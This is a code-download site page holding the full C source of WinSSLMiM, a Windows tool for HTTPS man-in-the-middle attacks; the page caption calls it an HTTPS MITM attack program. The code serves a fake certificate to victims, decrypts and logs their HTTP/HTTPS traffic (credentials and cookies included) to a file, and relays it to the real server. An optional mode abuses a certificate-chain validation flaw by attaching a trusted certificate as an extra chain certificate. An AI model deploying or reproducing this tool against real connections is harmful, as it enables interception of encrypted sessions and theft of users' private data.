⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 sslmim.cpp

📁 俄国人编写的https中间人攻击代码:wsm。
💻 CPP
字号:
/*
 * WinSSLMiM by Valgasu (valgasu@securiteinfo.com)
 *
 * a simple tool for HTTPS Man in the Middle
 *
 */

#include <stdio.h>
#include <winsock2.h>
#include "openssl/ssl.h"
#include "openssl/err.h"
#include "getopt.h"
#include "sslmim.h"


/* Globals */
HANDLE  sem;
SSL_CTX	*ssl_client_ctx;
SSL_CTX	*ssl_server_ctx;
SSL_CTX	*ssl_vuln_ctx;
FILE    *log;
SOCKET  sesock;
char    logfile[255];
char    fakecertfile[255];
char    trustcertfile[255];
int     flag_ssl = 1;
int     flag_log = 0;
int     flag_cert = 0;
int     flag_vuln = 0;


int main(int argc, char *argv[])
{  
  /* getopt */
  extern char  *optarg;
  register int opt;    


  /* Get options */ 
  while((opt = getopt(argc, argv, "hPl:f:t:")) != EOF) {
    switch(opt) {     
      /* Help */    	
      case 'h' :
        usage(argv[0]);

	    return(EXIT_SUCCESS);      

     /* HTTP proxy mode */
     case 'P' :
		flag_ssl = 0;
		break;

	 /* Log file */
     case 'l' :
		strcpy(logfile, optarg);
		flag_log = 1;
		break;

	 /* Cert file */
     case 'f' :
		strcpy(fakecertfile, optarg);		
		flag_cert = 1;
		break;

	 /* Activate certificate chain vulnerability with trusted cert */
     case 't' :				 
		strcpy(trustcertfile, optarg);		 		
		flag_vuln = 1;
		break;
	}
  }
  
  /* Winsock init */
  wsock_init();
  
  /* Server socket init */  
  if(flag_ssl) {
	socket_init(443);
	ssl_init();
  }
  else {
    socket_init(80);
  }  

  /* Log init */
  if(flag_log) {
    log_init(logfile);
  }

  /* Print informations */
  printf("\n>> WinSSLMiM by Valgasu (valgasu@securiteinfo.com) <<\n\n");

  /* Main loop */
  printf("Waiting for connections...\n\n");

  while(1) {
    accept_conn();
  }

  return(EXIT_SUCCESS);
}


void wsock_init(void)
{
  /* Winsock */
  WORD    wVersionRequested; 
  WSADATA wsaData; 
  

  wVersionRequested = MAKEWORD(1, 1);  

  /* Startup Winsock.dll */
  if(WSAStartup(wVersionRequested, &wsaData) != 0) {
    printf("Error: unable to start winsock.\n");
	
    exit(EXIT_FAILURE); 
  }
 
  /* Check if Winsock.dll support 1.1 version */
  if(LOBYTE(wsaData.wVersion) != 1 || HIBYTE(wsaData.wVersion) != 1 ) {         
    printf("Error: Winsock.dll doesn't support 1.1 version.\n");
    WSACleanup(); 

    exit(EXIT_FAILURE); 
  }  
}


void socket_init(int port)
{  
  /* Variables */  
  struct sockaddr_in sin;
  unsigned long      j = 1;


  /* Create socket server */
  sesock = socket(AF_INET, SOCK_STREAM, 0);

  if(sesock == INVALID_SOCKET) {
	printf("Error: server socket() error.\n");

    exit(EXIT_FAILURE);
  }
      
  memset(&sin, 0, sizeof(sin));
  sin.sin_family = AF_INET;
  sin.sin_addr.s_addr = INADDR_ANY;
  sin.sin_port = htons(port);
  
  /* Socket can be bound to an address that is already in use */
  setsockopt(sesock, SOL_SOCKET, SO_REUSEADDR, (const char *) &j, sizeof(j));

  if(bind(sesock, (struct sockaddr *)&sin, sizeof(sockaddr_in)) == SOCKET_ERROR) {
    closesocket(sesock);
	printf("Error: server bind() error.\n");

	exit(EXIT_FAILURE);
  }

  /* Listen for an incoming connection */
  if(listen(sesock, 5) == SOCKET_ERROR) {
    closesocket(sesock);
	printf("Error: server listen() error.\n");

	exit(EXIT_FAILURE);
  }   
}


void accept_conn(void) 
{
  struct sockaddr_in sin;
  int                sinlen = sizeof(sin);
  SOCKET             clsock;
  DWORD              threadid;
  

  /* Accept the new client connection */
  clsock = accept(sesock, (struct sockaddr *)&sin, &sinlen);  

  if(clsock == INVALID_SOCKET) {
    printf("Error: client socket() error.\n");
    
    return;
  }  

  /* Information */
  printf("Connection from %s:%d\n", inet_ntoa(sin.sin_addr), ntohs(sin.sin_port)); 	

  CreateThread(0, 0, mitm_proc, (void*)clsock, 0, &threadid);
}


DWORD WINAPI mitm_proc(void* sock) 
{
  SOCKET clsock = (SOCKET)sock;
  SOCKET losock;
  fd_set fds;  
  SSL	 *ssl_client;
  SSL	 *ssl_server;
  struct hostent *hp;
  struct sockaddr_in sin;
  char   hbuff[BUFF_SIZE];
  char   inbuff[BUFF_SIZE];
  char   outbuff[BUFF_SIZE];
  char   *buff;  
  char   *token;
  char   *vhost = NULL;    
  int    sinlen = sizeof(sin);    
  int    readlen;
  int    sendlen;
  int    sendbytes;
  int    inBytes=0;
  int    outBytes=0;
  int    len;
  unsigned long j = 1;     
    

  /* SSL client init */
  if(flag_ssl) {		
    ssl_client = SSL_new(ssl_client_ctx);
    SSL_set_fd(ssl_client, clsock);
		
    if(SSL_accept(ssl_client) == 0) {
      printf("Error: SSL_accept().\n");
	  SSL_free(ssl_client);
	  closesocket(clsock);

	  return(EXIT_FAILURE);
	}
  }
  
  /* Read data from client */
  if(flag_ssl) {	    
    len = SSL_read(ssl_client, hbuff, 1024);		
  }
  else {	
    len = recv(clsock, hbuff, 1024, 0);      
  }

  /* Connection error or closed */
  if(len <= 0) {		
	if(flag_ssl) {
	  SSL_free(ssl_client);
	}

	closesocket(clsock);	  

    return(EXIT_FAILURE);
  }    

  /* Log data */
  if(flag_log) {	
	log_write(hbuff);		    
  }

  /* Extract host field */    
  buff = strdup(hbuff);  
  token = strtok(hbuff,"\n");

  while(token) {				
    if(!strncmp(token, "Host:", 5)) {			
	  vhost = strchr(token, ':') + 2;
	  break;
	}

	token = strtok(NULL, "\n");
  } 

  if(vhost != NULL) {
    vhost[strlen(vhost) - 1] = '\0';	
  }
  else {
    printf("Error: no virtual host.\n");
	
	if(flag_ssl) {
	  SSL_free(ssl_client);
	}

	closesocket(clsock);	  	

	return(EXIT_FAILURE);
  }

  /* Establish remote connection */
  losock = socket(AF_INET, SOCK_STREAM, 0);

  if(losock == INVALID_SOCKET) {
	printf("Error: local socket() error.\n");

	if(flag_ssl) {
	  SSL_free(ssl_client);
	}

    closesocket(clsock);	

	return(EXIT_FAILURE);
  }

  /* Resolve host name */
  if( (hp = gethostbyname(vhost)) == NULL) {
	printf("Error: gethostbyname() error.\n");

	if(flag_ssl) {
	  SSL_free(ssl_client);
	}

    closesocket(clsock);	
	closesocket(losock);	

	return(EXIT_FAILURE);
  }  

  memset(&sin, 0, sizeof(sin));
  sin.sin_family = AF_INET;
  sin.sin_addr.s_addr = *((unsigned long*)hp->h_addr_list[0]);

  if(flag_ssl) {
    sin.sin_port = htons(443);
  }
  else {
    sin.sin_port = htons(80);
  }

  if(connect(losock, (struct sockaddr *)&sin, sizeof(sockaddr_in)) == SOCKET_ERROR) {	  		
	printf("Error: local connect() error.\n");	  

	if(flag_ssl) {
	  SSL_free(ssl_client);
	}

    closesocket(clsock);
	closesocket(losock);	

	return(EXIT_FAILURE);
  }   

  /* SSL server init */
  if(flag_ssl) {
    ssl_server_ctx = SSL_CTX_new(SSLv23_client_method());
	ssl_server = SSL_new(ssl_server_ctx);
	SSL_set_connect_state(ssl_server);

	SSL_set_fd(ssl_server, losock);
		
	/* SSL connect */
	if(SSL_connect(ssl_server) < 0) {
	  printf("Error: SSL_connect().\n");
      SSL_free(ssl_client);
	  SSL_free(ssl_server);
      closesocket(clsock);
	  closesocket(losock);	

	  return(EXIT_FAILURE);
	}
  }

  /* Information */  
  printf("Connection to %s:%d\n\n", inet_ntoa(sin.sin_addr), ntohs(sin.sin_port)); 	

  /* Send data to remote server */
  if(flag_ssl) {    
	SSL_write(ssl_server, buff, len);      
  }
  else {
    send(losock, buff, len, 0);      	
  }

  /* Enable the non blocking mode of the sockets */
  ioctlsocket(losock, FIONBIO, &j);  
  ioctlsocket(clsock, FIONBIO, &j);  

  /* Select loop */
  while(1) {	  
    FD_ZERO(&fds);
  
    FD_SET(clsock, &fds);
    FD_SET(losock, &fds);

	/* Read on client socket */    
    if(FD_ISSET(clsock, &fds)) {		
      if(flag_ssl) {		  
        readlen = SSL_read(ssl_client, inbuff, BUFF_SIZE);  
	  }
	  else {
        readlen = recv(clsock, inbuff, BUFF_SIZE, 0);
	  }	 	  	  	  
	  
	  /* Data was received */
	  if(readlen > 0) {	 		
		if(flag_log) {
		  log_write(inbuff);	      		  
		}		

		sendlen = 0;

		/* Forward data */
		while(sendlen < readlen) {
	      if(flag_ssl) {					
            sendbytes = SSL_write(ssl_server, inbuff + sendlen, readlen - sendlen);
		  }
	      else {			
            sendbytes = send(losock, inbuff  + sendlen, readlen - sendlen, 0);
		  }

		  if(sendbytes > 0) {			
		    sendlen += sendbytes;
		  }
		  else if(sendbytes == SOCKET_ERROR) {
		    printf("Error: send() error.\n");

			break;
		  }
		  else {            
            /* Remote client closed connection */
			break;
		  }
		}
	  }

	  /* Connection was closed */
	  if(readlen == 0){
	    break;
	  }	
	}

    /* Read on local socket */    
    if(FD_ISSET(losock, &fds)) {   
      if(flag_ssl) {		  
        readlen = SSL_read(ssl_server, outbuff, BUFF_SIZE);  
	  }
	  else {
        readlen = recv(losock, outbuff, BUFF_SIZE, 0);
	  }	        	  

      /* Data was received */
	  if(readlen > 0) {		
		if(flag_log) {
		  log_write(outbuff);	      		  
		}

		sendlen = 0;

		/* Forward data */
		while(sendlen < readlen) {
	      if(flag_ssl) {		
            sendbytes = SSL_write(ssl_client, outbuff + sendlen, readlen - sendlen);
		  }
	      else {
            sendbytes = send(clsock, outbuff + sendlen, readlen - sendlen, 0);
		  }		  	

		  if(sendbytes > 0) {			
		    sendlen += sendbytes;
		  }
		  else if(sendbytes == SOCKET_ERROR) {
		    printf("Error: send() error.\n");

			break;
		  }
		  else {            
            /* Remote client closed connection */
			break;
		  }
		}
	  }

	  /* Connection was closed */	  
	  if(readlen == 0){
	    break;
	  }
	}	  
  }

  /* Closing operations */
  closesocket(losock);
  closesocket(clsock);

  if(flag_ssl) {
    SSL_free(ssl_server);
	SSL_free(ssl_client);
  }

  return(EXIT_SUCCESS);
}


void ssl_init(void) 
{
  /* Variables */
  X509 *trustcert;


  SSL_library_init();
  SSL_load_error_strings();

  ssl_client_ctx = SSL_CTX_new(SSLv23_server_method());

  if(!flag_cert) {
    strcpy(fakecertfile, CERT_FILE);
  }

  if(SSL_CTX_use_certificate_file(ssl_client_ctx, fakecertfile,
     SSL_FILETYPE_PEM) == 0) {
    printf("Error: SSL_CTX_use_certificate_file().\n");

	exit(EXIT_FAILURE);
  }
	
  if(SSL_CTX_use_PrivateKey_file(ssl_client_ctx, fakecertfile,
     SSL_FILETYPE_PEM) == 0) {
    printf("Error: SSL_CTX_use_PrivateKey_file().\n");

	exit(EXIT_FAILURE);
  } 
	
  if(SSL_CTX_check_private_key(ssl_client_ctx) == 0) {
    printf("Error: SSL_CTX_check_private_key().\n");

	exit(EXIT_FAILURE);
  }  

  /* Certificate chain vulnerability stuff */
  if(flag_vuln) {
    ssl_vuln_ctx = SSL_CTX_new(SSLv23_server_method());

    if(SSL_CTX_use_certificate_file(ssl_vuln_ctx, trustcertfile,
       SSL_FILETYPE_PEM) == 0) {
      printf("Error: SSL_CTX_use_certificate_file().\n");

	  exit(EXIT_FAILURE);
	}

	trustcert = SSL_get_certificate(SSL_new(ssl_vuln_ctx));
    SSL_CTX_add_extra_chain_cert(ssl_client_ctx, trustcert);    
  }
}


void log_init(char *file) 
{
  if((sem = CreateSemaphore(NULL, 1, 1, NULL)) == NULL) {
    printf( "Error: unable to create semaphore\n");
  }  

  if((log = fopen(file, "a+" )) == NULL) {
    printf( "Error: unable to open file %s\n", file);
  }
}


void log_write(char *buff) 
{
  DWORD res;

  res = WaitForSingleObject(sem, INFINITE);

  if(log != NULL) {
    fwrite(buff, sizeof(char), strlen(buff), log);
  }

  if(!ReleaseSemaphore(sem, 1, NULL)) {
    printf( "Error: unable to release semaphore\n");
  }
}


void log_close(void)
{
  fclose(log);
}


void usage(char *name) 
{
  printf("\n>> WinSSLMiM by Valgasu (valgasu@securiteinfo.com) <<\n");

  printf("\nusage: %s [options]\n\n", name);	    
  printf("options:\n");
  printf("  -P        HTTP proxy mode\n");    
  printf("  -l [file] log file\n");    
  printf("  -f [file] fake cert file [fake.crt]\n");    
  printf("  -t [file] trust cert file\n");    
  printf("  -h        help\n");    
}

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -